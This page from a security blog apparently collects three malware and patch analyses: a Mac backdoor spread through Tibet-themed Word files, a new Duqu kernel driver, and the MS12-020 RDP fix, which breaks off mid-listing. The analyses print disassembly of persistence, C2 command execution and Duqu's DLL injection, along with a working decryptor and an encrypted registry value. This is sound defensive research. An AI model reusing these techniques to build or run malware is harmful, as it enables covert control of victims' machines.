Top IT Security Bloggers

Bae Systems Detica
  • No Café in Tibet, Babe

    Bae Systems Detica
    As reported by Alienware, there is a new spearphishing email campaign circulating in the wild at the moment. The non-governmental organizations related to Tibet are being forwarded MS Office files that exploit MS09-027 vulnerability.

    The malcrafted Microsoft Office Word documents carry a MacOS remote administration tool. When a user opens such document using Office for Mac, the shellcode will drop and execute the backdoor trojan and then it will open up a document with a political content related to Tibet.

    The Alienware write-up provides details about the embedded script and dynamic characteristics of the backdoor trojan.

    Let's analyse this trojan statically to reveal the full scope of its functionality.

    First, the Word document binary dump reveals that a bash script that launches the dropped document is followed with 0xCAFEBABE ("cafe babe") bytes that mark a Mach-O fat file binary:



    When started, the executable will check if its own file name matches "/Library/launched":

    DropItselfAsLibraryLaunched:
    ...
    mov edx, ds:executablePath
    mov [esp+4], edx
    mov [esp], eax
    ; get current executable path
    call _objc_msgSend

    mov edi, eax
    mov esi, ds:Library_launched
    mov [esp+8], esi
    mov eax, ds:isEqualToString_drain
    mov [esp+4], eax
    mov [esp], edi
    ; is it "/Library/launched"?
    call _objc_msgSend

    mov edx, 1
    test al, al
    jnz quit ; if so, then quit

    If its own path file name is not "/Library/launched", it will delete a file at that location if it exists, and then it will copy itself under that name.

    mov dword ptr [esp+8], offset LibraryLaunched
    mov eax, ds:fileExistsAtPath
    mov [esp+4], eax
    mov [esp], ebx
    ; does /Library/launched exist?
    call _objc_msgSend

    test al, al
    jz short copy_itself
    mov dword ptr [esp+8], offset LibraryLaunched ; "/Library/launched"
    mov eax, ds:isDeletableFileAtPath
    mov [esp+4], eax
    mov [esp], ebx
    ; can it be deleted?
    call _objc_msgSend

    test al, al
    jz short copy_itself
    mov dword ptr [esp+0Ch], 0
    mov dword ptr [esp+8], offset LibraryLaunched ; "/Library/launched"
    mov eax, ds:removeItemAtPath
    mov [esp+4], eax
    mov [esp], ebx
    ; delete the file
    call _objc_msgSend

    copy_itself:

    mov dword ptr [esp+10h], 0
    mov [esp+0Ch], esi
    mov [esp+8], edi
    mov eax, ds:moveItemAtPath_toPath
    mov [esp+4], eax
    mov [esp], ebx
    ; copy itself
    call _objc_msgSend

    Next, it will create a directory "/Library/LaunchAgents/" and within that directory it will create a configuration file com.apple.FolderActionsxl.plist. One of the specified parameters, RunAtLoad, will make sure the trojan starts whenever the system starts.

    CretePlistFile:
    ...
    mov dword ptr [esp+20h], 0
    mov dword ptr [esp+1Ch], offset Runatload ; "RunAtLoad"
    mov [esp+18h], eax
    mov dword ptr [esp+14h], offset Program ; "Program"
    mov eax, [ebp+arg_0]
    mov [esp+10h], eax
    mov dword ptr [esp+0Ch], offset Label ; "Label"
    mov [esp+8], ebx
    mov eax, ds:dictionaryWithObjectsAndKeys
    mov [esp+4], eax
    mov eax, ds:NSDictionary
    mov [esp], eax
    ; create NSDictionary
    ; with the couples above
    call _objc_msgSend

    mov dword ptr [esp+0Ch], 1
    mov edx, [ebp+var_1C]
    mov [esp+8], edx
    mov edx, ds:writeToFile_atomically
    mov [esp+4], edx
    mov [esp], eax
    ; save them into config
    call _objc_msgSend

    Next, it will open its own file and read command-and-control server details that are appended at the end of the file. The domain name will then be resolved with gethostbyname() API to obtain the IP address of the server. Please note that code relies on an existence of the marker 0x013268B2:

    mov [esp+0Ch], ebx
    mov dword ptr [esp+8], 214h
    mov dword ptr [esp+4], 1
    lea esi, [ebp+var_230]
    mov [esp], esi
    ; read config data (0x214 bytes)
    call _fread
    cmp eax, 214h
    jnz short exit
    cmp [ebp+marker], 13268B2h ; check marker 0x013268B2
    jnz short exit
    mov eax, [ebp+Numeric_IP]
    test eax, eax ; is there numeric IP specified?
    jnz short IP_is_Ok ; IP exists, skip
    lea eax, [ebp+domain_name] ; no IP, resolve domain name
    mov [esp+4], eax
    mov dword ptr [esp], offset DomainName
    call _strcpy
    mov dword ptr [esp], offset DomainName
    ; resolve with gethostbyname()
    call Domain2Ip
    test al, al
    jnz short next
    mov dword ptr [esp], offset DomainToIpError
    ; log error "Domain to ip error!"
    call _NSLog
    mov dword ptr [esp], 0FFFFFFFFh
    ; exit
    call _exit

    IP_is_Ok:

    mov [esp+4], esi
    mov dword ptr [esp], offset ClientIP
    call _strcpy

    next:

    mov eax, [ebp+server_port]
    mov ds:Port, eax
    mov [esp], ebx
    ; close the file
    call _fclose

    The presence of the configuration data in the file is visible as:



    Following that, the trojan collects system information that includes operating system version, user/machine name, and then submits it to the remote host.

    Finally, the backdoor falls into a loop in which it queries the remote server and receives the following commands to perform:

    • Shut down the system

    • Get system information

    • Send the list of processes

    • Run shell command

    • Enlist files in the directories

    • Send over specified file(s)

    • Receive and save file(s)

    • Delete specified files and directories

    • Execute specified files


    When a shell command is executed, its output will be redirected and submitted to the server in a separate thread Thread_Function_RecvCommandDataPv() as shown below (e.g. an "ls" command will enlist files and the output with the enlisted file and directory names will be submitted to the remote server):

    Function_Cmd:
    ...
    mov edx, [ebp+var_D4]
    mov [esp+8], edx
    mov eax, ds:setStandardOutput
    mov [esp+4], eax
    mov [esp], edi
    call _objc_msgSend

    mov dword ptr [esp+8], offset cfstr_BinSh ; "/bin/sh"
    mov eax, ds:setLaunchPath
    mov [esp+4], eax
    mov [esp], edi
    call _objc_msgSend

    mov eax, ds:launch
    mov [esp+4], eax
    mov [esp], edi
    call _objc_msgSend

    mov ecx, [ebp+var_D0]
    mov [ebp+var_38], ecx
    mov [ebp+var_34], esi
    lea eax, [ebp+var_38]
    mov [esp+0Ch], eax
    mov dword ptr [esp+8], offset Thread_Function_RecvCommandDataPv
    mov dword ptr [esp+4], 0
    lea eax, [ebp+var_30]
    mov [esp], eax
    ; spawn a thread that submits command output
    call _pthread_create

    Such arsenal of the remote commands allows turning the compromised MacOS X system into a zombie, giving full control to the remote attacker.
  • Actually, my name is Duqu - Stuxnet is my middle name

    Bae Systems Detica
    A couple of days ago, Symantec Security Response discovered a new strain of Duqu, a close relative of Stuxnet that is compiled from the same source code and shares many similarities with it.

    The only captured sample is a kernel mode driver. It is not clear if this driver was accompanied with other previously unseen components of if it was the only modified part of the latest known set of Duqu files. To get some answers about its functionality, let's dissect the newly discovered Duqu driver both statically and dynamically.

    Decoding Parameters

    A quick static view shows that the driver starts its execution from decoding a built-in parameters section:

    .text:00010D90 sub_decode_parameters proc near
    .text:00010D90 push esi
    .text:00010D91 mov eax, 0B86249A9h
    .text:00010D96 xor ecx, ecx
    .text:00010D98 push edi
    .text:00010D99 lea esp, [esp+0]
    .text:00010DA0 loop:
    .text:00010DA0 xor byte_14F90[ecx], al
    .text:00010DA6 mov esi, eax
    .text:00010DA8 and esi, 0Bh
    .text:00010DAB shl esi, 18h
    .text:00010DAE shr eax, 5
    .text:00010DB1 or esi, eax
    .text:00010DB3 and esi, 1FFFFFFFh
    .text:00010DB9 mov eax, esi
    .text:00010DBB imul esi, eax
    .text:00010DBE mov edi, eax
    .text:00010DC0 imul edi, 0F64301Ah
    .text:00010DC6 xor esi, 395Ch
    .text:00010DCC lea esi, [esi+edi+0Dh]
    .text:00010DD0 add ecx, 1
    .text:00010DD3 xor eax, esi
    .text:00010DD5 cmp ecx, 574 ; 574 bytes in total
    .text:00010DDB jb short loop
    .text:00010DDD mov ax, word ptr buf_enc
    .text:00010DE3 test ax, ax
    .text:00010DE6 pop edi
    .text:00010DE7 pop esi
    .text:00010DE8 jnz short exit
    .text:00010DEA movzx ecx, word ptr [edx]
    .text:00010DED mov edx, [edx+4]
    .text:00010DF0 push ecx ; size_t
    .text:00010DF1 push edx ; void *
    .text:00010DF2 push offset buf_enc
    .text:00010DF7 call memcpy
    .text:00010DFC add esp, 0Ch
    .text:00010DFF exit:
    .text:00010DFF retn
    .text:00010DFF sub_decode_parameters endp

    The built-in parameters are a common technique that allows hard-coding some variable parameters into the executable body without the need to recompile the executable itself. Just like in case of ZeuS (that calls it a "static configuration"), a stand-alone script is likely to be invoked in this case to patch a pre-compiled executable stub with the encrypted parameters - a scheme that allows spitting out new executables "on-the-fly" and thus allows to be used in the server-based polymorphism.

    But what are the hard-coded parameters in this case?

    Stepping through the code reveals the decoded parameters:



    The decoded parameters are:
    • Name of the device to be created:
      \Device\{3093AAZ3-1092-2929-9391}

    • Registry branch that will be used to store the driver information:
      \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\mcd9x86

    • Registry value FILTER that is known from the previous Duqu variant to contain encoded injection parameters


    Following that, the driver code creates device objects with IoCreateDevice() by using the names:
    \Device\{BFF55DF2-6530-4935-8CF6-6D6F7DC0AA48}
    \Device\{3093AAZ3-1092-2929-9391}

    Duqu then creates a WorkItem routine for a work item, then it inserts the work item into a queue for a system worker thread. Once a system worker thread pulls the work item from the queue, it will call the specified callback routine - a place where the rest of the driver functionality resides.


    Checking the integrity of ZwAllocateVirtualMemory()

    Once the callback routine is invoke, Duqu calls ZwQuerySystemInformation() API with the SystemModuleInformation parameter to obtain the list of modules loaded into the kernel. Name of every enumerated module is then compared with _stricmp() to "ntkrnlpa.exe" or "ntoskrnl.exe" strings in order to find the image base of those modules.

    With the known image base of the kernel image, the driver then parses its PE-file structure. In order to hide its intentions, the code conceals the searching for "PE" signature as detecting that kind of code immediately raises suspicion. Instead, it XOR-es the PE signature field with 0xF750F284, then checks if the result is equal 0xF750B7D4, as shown below:

    .text:00012F1E mov eax, 'ZM' ; MZ header
    .text:00012F23 cmp [esi], ax
    .text:00012F26 jz short next ; get lfanew
    ...
    .text:00012F2D next:
    .text:00012F2D mov eax, [esi+3Ch] ; get lfanew
    .text:00012F30 add eax, esi ; add it to image base
    .text:00012F32 mov ecx, [eax] ; read the DWORD from there
    .text:00012F34 xor ecx, 0F750F284h ; it must be 'P' 'E' '0' '0'
    .text:00012F3A cmp ecx, 0F750B7D4h
    .text:00012F40 jnz short quit ; if no PE-signature, quit

    Following the PE headers check, the code starts enumerating all sections within the kernel image, inspecting all those sections that are readable/executable and have a name ".text" or "PAGE". The section name check is carried out by hashing section name and then checking the hash against 2 known hashes of ".text" and "PAGE" - 0xAB405E8F and 0x18DB09E1:

    .text:00012040 check_next_section:
    .text:00012040 movzx eax, di
    .text:00012043 lea edx, [eax+eax*4]
    .text:00012046 mov eax, [ebp+edx*8+24h]
    .text:0001204A lea esi, [ebp+edx*8+0]
    .text:0001204E and eax, 62000020h ; ignore non-page flag
    .text:00012053 cmp eax, 60000020h ; make sure it's read/exec
    .text:00012058 jnz short inc_check_next_section
    .text:0001205A mov ecx, esi
    .text:0001205C call hash_section_name
    .text:00012061 cmp eax, 0AB405E8Fh ; hash of ".text" string
    .text:00012066 jz short next
    .text:00012068 cmp eax, 18DB09E1h ; hash of "PAGE" string
    .text:0001206D jnz short inc_check_next_section

    Once it locates the image section that it is happy with, it starts an interesting routine to process that section and make sure it can recognise the implementation of ZwAllocateVirtualMemory() function within that section. Here is how it does that.

    The code will start parsing the export table of the kernel image ntkrnlpa.exe. It will then hash the exported function names looking for the hashes of the APIs it is interested in, and collecting the addresses of those APIs:

    .text:0001219D lea eax, [esp+34h+ptr]
    .text:000121A1 push 47E31156h ; hash of "PsGetProcessSessionId"
    .text:000121A6 push eax
    .text:000121A7 call find_api_by_hash
    .text:000121AC lea ecx, [esp+3Ch+ptr]
    .text:000121B0 push 0C9FD3510h ; hash of "PsGetProcessPeb"
    .text:000121B5 push ecx
    .text:000121B6 mov PsGetProcessSessionId, eax
    .text:000121BB call find_api_by_hash
    .text:000121C0 lea edx, [esp+44h+ptr]
    .text:000121C4 push 612F3500h ; hash of "PsLookupProcessByProcessId"
    .text:000121C9 push edx
    .text:000121CA mov PsGetProcessPeb, eax
    .text:000121CF call find_api_by_hash
    .text:000121D4 mov PsLookupProcessByProcessId, eax
    .text:000121D9 lea eax, [esp+4Ch+ptr]
    .text:000121DD push 1407F237h ; hash of "PsSetLoadImageNotifyRoutine"
    .text:000121E2 push eax
    .text:000121E3 call find_api_by_hash
    .text:000121E8 lea ecx, [esp+54h+ptr]
    .text:000121EC push 4A1D957Fh ; hash of "KeStackAttachProcess"
    .text:000121F1 push ecx
    .text:000121F2 mov PsSetLoadImageNotifyRoutine, eax
    .text:000121F7 call find_api_by_hash
    .text:000121FC lea edx, [esp+5Ch+ptr]
    .text:00012200 push 7E676A4Ch ; hash of "KeUnstackDetachProcess"
    .text:00012205 push edx
    .text:00012206 mov KeStackAttachProcess, eax
    .text:0001220B call find_api_by_hash
    .text:00012210 add esp, 40h
    .text:00012213 mov KeUnstackDetachProcess, eax
    .text:00012218 lea eax, [esp+24h+ptr]
    .text:0001221C push 0D3C50AD9h ; hash of "ObOpenObjectByPointer"
    .text:00012221 push eax
    .text:00012222 call find_api_by_hash
    .text:00012227 lea ecx, [esp+2Ch+ptr]
    .text:0001222B push 0E5AC234h ; hash of "ZwQuerySystemInformation"
    .text:00012230 push ecx
    .text:00012231 mov ObOpenObjectByPointer, eax
    .text:00012236 call find_api_by_hash
    .text:0001223B lea edx, [esp+34h+ptr]
    .text:0001223F push 0F82D7E6Dh ; hash of "ZwAllocateVirtualMemory"
    .text:00012244 push edx
    .text:00012245 mov ZwQuerySystemInformation, eax
    .text:0001224A call find_api_by_hash
    .text:0001224F mov ZwAllocateVirtualMemory, eax
    .text:00012254 lea eax, [esp+3Ch+ptr]
    .text:00012258 push 7C19400Ch ; hash of "ZwOpenFile"
    .text:0001225D push eax
    .text:0001225E call find_api_by_hash
    .text:00012263 lea ecx, [esp+44h+ptr]
    .text:00012267 push 0DA18F72Ch ; hash of "ZwQueryInformationFile"
    .text:0001226C push ecx
    .text:0001226D mov ZwOpenFile, eax
    .text:00012272 call find_api_by_hash
    .text:00012277 lea edx, [esp+4Ch+ptr]
    .text:0001227B push 0C840A85Dh ; hash of "ZwQueryInformationProcess"
    .text:00012280 push edx
    .text:00012281 mov ZwQueryInformationFile, eax
    .text:00012286 call find_api_by_hash
    .text:0001228B mov ZwQueryInformationProcess, eax
    .text:00012290 lea eax, [esp+54h+ptr]
    .text:00012294 push 8619E771h ; hash of "ZwReadFile"
    .text:00012299 push eax
    .text:0001229A call find_api_by_hash
    .text:0001229F add esp, 38h
    .text:000122A2 mov ZwReadFile, eax

    Once the API addresses it needs are obtained, it starts parsing the entire section of the kernel image looking for the byte sequence 68 04 01 00 00. These bytes correspond to "push 104h" instruction:

    .text:00011ED0 next_byte:
    .text:00011ED0 mov edx, [esi]
    .text:00011ED2 cmp edx, dword ptr ds:push_104h
    .text:00011ED8 jz short found_push_104h
    .text:00011EDA add esi, 1
    .text:00011EDD cmp esi, ecx
    .text:00011EDF jbe short next_byte

    Once "push 104h" instruction is found, it starts looking for an instruction that follows it, an instruction that starts from E8 (CALL) and followed with a relative offset of the function to call. The code makes sure that the offset is precisely equal to a difference between the virtual address of the next instruction that follows CALL (5 bytes forward) and the virtual address of the function ZwAllocateVirtualMemory() - an address that it has just retrieved from the import address table of ntkrnlpa.exe. That is, it makes sure the offset corresponds ZwAllocateVirtualMemory() function:

    .text:00011C60 loop:
    .text:00011C60 lea ebp, [eax+edi] ; EDI=ntkrnlpa.exe base, starts from IAT
    .text:00011C63 cmp ebp, esi ; pointer limit
    .text:00011C65 jnb short exit
    .text:00011C67 cmp byte ptr [ecx], 0E8h ; E8 = CALL opcode
    .text:00011C6A jnz short next_byte
    .text:00011C6C mov ebp, [ecx+1]
    .text:00011C6F lea ebp, [ecx+ebp+5]
    .text:00011C73 cmp ebp, edx ; EDX=ZwAllocateVirtualMemory() address
    .text:00011C75 jz short found_ZwAllocateVirtualMemory
    .text:00011C77 next_byte:
    .text:00011C77 add eax, 1
    .text:00011C7A sub ecx, 1
    .text:00011C7D cmp eax, 128 ; limit = 128 bytes
    .text:00011C82 jb short loop ; EDI=ntkrnlpa.exe base, starts from IAT

    For example, it aims to find the following code construction within ntkrnlpa.exe (note the "push 104h" instruction encoded as 68 04 01 00 00 and the last instruction's opcode of E8):

    .text:8052111C 68 04 01 00 00 push 104h ; PAGE_READWRITE | PAGE_GUARD
    .text:80521121 50 push eax ; AllocationType
    .text:80521122 8D 45 E0 lea eax, [ebp+AllocationSize]
    .text:80521125 50 push eax ; AllocationSize
    .text:80521126 53 push ebx ; ZeroBits
    .text:80521127 8D 45 E4 lea eax, [ebp+BaseAddress]
    .text:8052112A 50 push eax ; BaseAddress
    .text:8052112B 6A FF push 0FFFFFFFFh ; ProcessHandle
    .text:8052112D E8 96 C2 FD FF call ZwAllocateVirtualMemory

    In the context of ZwAllocateVirtualMemory() call, the "push 104h" instruction means passing that function a "Protect" parameter as PAGE_READWRITE and PAGE_GUARD.

    Next, it enumerates all the section headers within ntkrnlpa.exe looking for a section with a virtual address space enclosing the virtual address of ZwAllocateVirtualMemory(). In short, it needs to know what section of the PE image implements ZwAllocateVirtualMemory() function.

    .text:00012E66 next_section:
    .text:00012E66 movzx eax, di
    .text:00012E69 imul eax, 28h
    .text:00012E6C add eax, esi
    .text:00012E6E mov ecx, [eax+8] ; section virtual size
    .text:00012E71 mov edx, [eax+10h] ; section's raw data size
    .text:00012E74 cmp ecx, edx
    .text:00012E76 jb short next
    .text:00012E78 mov ecx, edx
    .text:00012E7A
    .text:00012E7A next:
    .text:00012E7A mov eax, [eax+0Ch] ; section RVA
    .text:00012E7D add eax, [ebp+image_base] ; section VA
    .text:00012E80 cmp [ebp+ZwAllocateVirtualMemory], eax
    .text:00012E83 jb short inc_section_number ; jump if section VA
    .text:00012E83 ; is less than ZwAllocateVirtualMemory
    .text:00012E85 add eax, ecx ; section VA + size = end of section
    .text:00012E87 cmp [ebp+ZwAllocateVirtualMemory], eax
    .text:00012E8A jb short found_section ; ZwAllocateVirtualMemory must be
    .text:00012E8C ; less than the end of section
    .text:00012E8C inc_section_number:
    .text:00012E8C inc edi ; if not, increment section counter
    .text:00012E8D cmp di, bx ; make sure it's less than section num
    .text:00012E90 jb short next_section ; check next section

    The section that it finds must also be ".text" or "PAGE", and must be read/executable:

    .text:00011CC8 mov ecx, [edi+24h] ; get section's characteristics
    .text:00011CCB and ecx, 62000020h ; ignore non-page flag
    .text:00011CD1 cmp ecx, 60000020h ; read/executable?
    .text:00011CD7 jnz short loop
    .text:00011CD9 mov ecx, edi
    .text:00011CDB call hash_section_name
    .text:00011CE0 cmp eax, 0AB405E8Fh ; hash of ".text" string
    .text:00011CE5 jz short next ; found ".text"
    .text:00011CE7 cmp eax, 18DB09E1h ; hash of "PAGE" string
    .text:00011CEC jnz short loop ; neither ".text" nor "PAGE", get next

    Once it locates precisely where ZwAllocateVirtualMemory() is implemented:

    .text:00011CFA mov edx, [edi+0Ch] ; section RVA
    .text:00011CFD add edx, [ebp+8] ; + image_base = section VA
    .text:00011D00 add edx, eax ; end of section
    .text:00011D02 lea eax, [esi+14h] ; VA of ZwAllocateVirtualMemory
    .text:00011D05 cmp eax, edx
    .text:00011D07 ja short loop
    .text:00011D09 call matches_ZwAllocateVirtualMemory_opcodes
    .text:00011D0E test al, al
    .text:00011D10 jnz short found_match

    it starts matching the opcodes of this function to its own internal opcode mask:

    .text:00011BC5 sub ecx, offset opcodes_mask
    .text:00011BCB lea edx, [eax+1]
    .text:00011BCE mov edi, edi
    .text:00011BD0 check_next_byte:
    .text:00011BD0 mov bl, ds:opcodes_mask[ecx+eax]
    .text:00011BD7 and bl, ds:opcodes_mask[eax]
    .text:00011BDD cmp bl, ds:expected_opcodes[eax]
    .text:00011BE3 jnz short quit
    .text:00011BE5 add eax, edx
    .text:00011BE7 cmp eax, 20 ; check 20 bytes only
    .text:00011BEA jb short check_next_byte

    The expected_opcodes and opcodes_mask mentioned above are defined in the code as shown below (expected_opcodes is selected in yellow, opcodes_mask is selected in blue):



    If a byte in the mask is 00, the corresponding opcode byte is ignored; if it's FF, the opcode byte must have an exact match with the expected opcode byte. The expected_opcodes masked with the opcodes_mask reveal the exact implementation of ZwAllocateVirtualMemory() within ntkrnlpa.exe:



    By checking if ZwAllocateVirtualMemory() code matches a known opcode pattern, Duqu is able to find out if there are any hooks placed for the kernel's ZwAllocateVirtualMemory() API.


    Querying FILTER value

    Duqu driver next proceeds to its final stage - code injection into the userland process.

    The techniques that inject code into the usermode processes from the kernel mode are not new, but unlike threats like Rustock, Duqu does not carry the stub to inject inside its own body. Instead, it is configured to be used in a more flexible manner. It is likely that the driver was developed by a separate programmer who then provided an interface for other members of his crew to use it. He must have described the interface as "encrypt a DLL to inject this way, create a registry value for my driver, save all the required parameters in it so that my driver would know where to find your DLL, how to unpack it, and where to inject it, then drop and load my driver, understood?".

    With this logic in mind, the functionality of the driver is encapsulated and completely delimited from other components - the dropper only needs to drop a DLL to inject, take care of the parameters to put into the registry, and then load the driver. The driver will take care of the rest.

    The parameters that the dropper passes to the driver are stored in the registry value with a name that is hard-coded into the driver body - this value was already decoded above - it is called FILTER.

    The driver opens the registry key mcd9x86 with ZwOpenKey(), then queries its FILTER value with ZwQueryValueKey() (dynamically retrieved from the kernel image), then calls a decryptor in order to decode the parameters passed via that value.

    The decryptor function is called with some input values: EDX pointing into the encrypted content, ESI containing the content size, and EAX containing the initial key value (the seed) of 0x59859a12. During the decryption, the key will change its value too, forming a simple multiplication rolling key scheme:

    .text:00012520 sub_decrypt proc near
    .text:00012520 xor eax, 0B86249A9h
    .text:00012525 xor ecx, ecx
    .text:00012527 test esi, esi
    .text:00012529 jbe short exit
    .text:0001252B push ebx
    .text:0001252C push edi
    .text:0001252D lea ecx, [ecx+0]
    .text:00012530 loop:
    .text:00012530 xor [ecx+edx], al
    .text:00012533 mov edi, eax
    .text:00012535 and edi, 0Bh
    .text:00012538 shl edi, 18h
    .text:0001253B shr eax, 5
    .text:0001253E or edi, eax
    .text:00012540 and edi, 1FFFFFFFh
    .text:00012546 mov eax, edi
    .text:00012548 imul edi, eax
    .text:0001254B mov ebx, eax
    .text:0001254D imul ebx, 0F64301Ah
    .text:00012553 xor edi, 395Ch
    .text:00012559 lea edi, [edi+ebx+0Dh]
    .text:0001255D add ecx, 1
    .text:00012560 xor eax, edi
    .text:00012562 cmp ecx, esi
    .text:00012564 jb short loop
    .text:00012566 pop edi
    .text:00012567 pop ebx
    .text:00012568 exit:
    .text:00012568 retn
    .text:00012568 sub_decrypt endp

    The initial content of the FILTER value is not known, as the driver was found without a dropper. Nevertheless, calling decrypt() function above over the same buffer reverts its content back into original state. Knowing that, it is possible to construct a fake FILTER value for the driver that would contain encrypted fake parameters. Next, the driver can be debugged to see how it decrypts the parameters and how it then parses and uses them.

    For start, the decryption function can be replicated in a stand-alone tool, using in-line Assembler, by copy-pasting the disassembled code above:

    void Decrypt(DWORD dwSeed, LPBYTE lpbyBuffer, DWORD dwSize)
    {
    _asm
    {
    mov edx, lpbyBuffer /* restore input parameters */
    mov esi, dwSize /* EDX is a buffer pointer, ESI - size */
    mov eax, dwSeed /* EAX - initial key value (seed) */

    xor eax, 0B86249A9h
    xor ecx, ecx
    test esi, esi
    jbe short l_exit
    push ebx
    push edi
    lea ecx, [ecx+0]
    l_loop:
    xor [ecx+edx], al
    mov edi, eax
    and edi, 0Bh
    shl edi, 18h
    shr eax, 5
    or edi, eax
    and edi, 1FFFFFFFh
    mov eax, edi
    imul edi, eax
    mov ebx, eax
    imul ebx, 0F64301Ah
    xor edi, 395Ch
    lea edi, [edi+ebx+0Dh]
    add ecx, 1
    xor eax, edi
    cmp ecx, esi
    jb short l_loop
    pop edi
    pop ebx
    l_exit:
    }
    }

    The same function can also be implemented in C++ as:

    void Decrypt(DWORD dwSeed, LPBYTE lpbyBuffer, DWORD dwSize)
    {
    DWORD dwKey;
    DWORD dwCount;
    DWORD dwTemp;

    dwKey = dwSeed ^ 0xB86249A9;
    dwCount = 0;

    if (dwSize > 0)
    {
    do
    {
    lpbyBuffer[dwCount++] ^= dwKey;
    dwTemp = ((dwKey >> 5) | ((dwKey & 0xB) << 24)) & 0x1FFFFFFF;
    dwKey = ((dwTemp * dwTemp ^ 0x395C) + 0xF64301A * dwTemp + 13) ^ dwTemp;
    }
    while (dwCount < dwSize);
    }
    }

    Once implemented, the Decrypt() function can be called as:

    void DecryptFile(DWORD dwSeed)
    {
    HANDLE hFile;
    HANDLE hMap;
    LPBYTE lpbyBase;
    DWORD dwSize;

    if ((hFile = CreateFile(L"FILE_NAME_TO_DECRYPT",
    GENERIC_READ | GENERIC_WRITE,
    0,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL)) != INVALID_HANDLE_VALUE)
    {
    if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&
    ((hMap = CreateFileMapping(hFile,
    NULL,
    PAGE_READWRITE,
    0,
    0,
    NULL)) != NULL))
    {
    if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap,
    FILE_MAP_ALL_ACCESS,
    0,
    0,
    0)) != NULL)
    {
    Decrypt(dwSeed, lpbyBase, dwSize);
    UnmapViewOfFile(lpbyBase);
    }
    CloseHandle(hMap);
    }
    CloseHandle(hFile);
    }
    }

    The unencrypted data from the registry is known from the previous Duqu versions:



    The dump above specifies the name of the DLL to inject (\SystemRoot\inf\netp191.PNF), the name length (0x38), the process name where DLL should be injected (services.exe) and its name length (0x1A).

    The byte at the offset 14 indicates if the DLL file is encrypted or not. If its value is 0x03, the DLL is encrypted with the same encryption algorithm as the parameters themselves, only the initial seed value for the key is different - it is specified as 0xAE240682 at the offset 16. The value of 1 means the specified DLL is NOT encrypted (oh, yes).

    For simplicity, these parameters will not be modified - they will be taken as they are, including the encryption key. That key (0xAE240682) will be used to encrypt a custom-built DLL.

    Placing the parameters dump into a separate file and calling the replicated function DecryptFile() above by using the seed value of 0x59859a12 will produce an encrypted dump. It is convenient to put those encrypted parameters into a REG file as a text:

    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mcd9x86]
    "FILTER"=hex:bb,89,0d,99,2c,35,5d,bb,21,86,5d,d3,36,ad,3a,7d,89,17,95,87,af,91,b5,39,\
    ee,1d,5c,8d,0f,23,33,63,12,fb,bc,87,90,e7,1c,6b,c5,07,04,0b,c1,19,44,3d,\
    ed,47,3b,01,21,2d,11,53,f8,c1,f6,35,ae,9f,71,e1,ca,99,b0,af,9b,87,3a,e3,\
    08,83,79,e9,9b,9f,54,25,83,1f,07,9b,69,ed,41,6d,36,6b,ff,85,d5,71,82,71,\
    6a,73,ba,dd,a9,45,4b,e1,29,5b,6d,2d,4d,43,f9


    Now it's time to check how Duqu driver loads the specified DLL netp1091.PNF into services.exe. But first, let's compile a simple test DLL called netp1091.PNF with the code below:

    BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved)
    {
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    wchar_t szProcessFileName[MAX_PATH];
    GetModuleFileName(NULL,
    szProcessFileName,
    MAX_PATH);
    MessageBoxW(NULL,
    szProcessFileName,
    L"Test DLL was loaded successfully!",
    MB_OK);
    break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    break;
    }
    return TRUE;
    }

    Once loaded, the DLL will just retrieve a path of the executable file of the process where it was loaded, and then display that path in a message box.

    The Duqu driver calls PsSetLoadImageNotifyRoutine() API to register a callback function that is subsequently notified whenever an image is loaded. Within that callback, Duqu will map the specified DLL into the specified process. That means, that the test DLL above will only be mapped into services.exe when services.exe process is started.

    Once compiled, the test DLL is encrypted by calling DecryptFile() provided above and using the seed value of 0xAE240682 (as specified in the parameters stored in the registry value).

    With a virtual machine fired up, the compiled and encrypted DLL file netp191.PNF is saved into c:\windows\inf directory. The aforementioned REG file is imported with the registry editor to place the encrypted parameters into the value FILTER.

    Next, the driver is loaded - either with a stand-alone tool or by using Driver Loader tool.

    To test the loaded driver in action, Windows calculator is copied as %DESKTOP%\services.exe. When it is launched, the driver's callback function registered with PsSetLoadImageNotifyRoutine() is called that will invoke the DLL injection routine.

    As seen on the screenshot taken on Windows 7 (32-bit), the encrypted DLL was decrypted, injected and then executed by the Duqu driver under the Windows calculator process. Please note that netp191.PNF is not visible in the list of the loaded DLLs as it was injected into the heap memory of the host process:



    Voilà!
  • MS12-020 Vulnerability for Breakfast

    Bae Systems Detica
    A few days ago Microsoft has released an important update that fixes vulnerabilities in the Remote Desktop Protocol.

    The update affects a number of the system files such as Rdpcore.dll and RdpWD.sys. Comparison of the files in the disassembled form before and after update reveals the code changes.

    Let's have a look at the code changes that took place in the driver file RdpWD.sys. But first, what's the role of this file in the Remote Desktop Protocol?

    When an RDP client connects to the server component of Remote Desktop Services on TCP port 3389, the login and GDI graphics subsystem are initiated in a newly created session. Within that session, the GDI graphics subsystem relies on RDP-specific driver RdpWD.sys - the keyboard and mouse driver that transfers keyboard/mouse events over TCP connection. The driver also creates virtual channels that set up redirection of other hardware devices (disc, audio, printers) - this allows transferring the requested data over the TCP connection.

    The code modification took place in the function HandleAttachUserReq(). Here is the snippet of the original driver's source code (v6.1.7600.16385 found on 32-bit Windows 7):

    .text:0002F900 lea eax, [ebp+P]
    .text:0002F903 push eax
    .text:0002F904 push [ebp+P]
    .text:0002F907 add esi, 74h
    .text:0002F90A push esi
    .text:0002F90B call SListRemove
    .text:0002F910 quit:
    .text:0002F910 mov al, 1

    Here is the source of the updated driver (v6.1.7600.16963):

    .text:0002F913 lea eax, [ebp+P]
    .text:0002F916 push eax
    .text:0002F917 push [ebp+P]
    .text:0002F91A add esi, 74h
    .text:0002F91D push esi
    .text:0002F91E call SListRemove
    .text:0002F91E ; <-- ADDED BLOCK
    .text:0002F923 mov eax, [ebp+P] ; restore pointer in EAX
    .text:0002F926 cmp eax, ebx ; compare it to NULL
    .text:0002F928 jz short quit ; if NULL, quit
    .text:0002F92A cmp [eax+5], bl
    .text:0002F92D jnz short quit
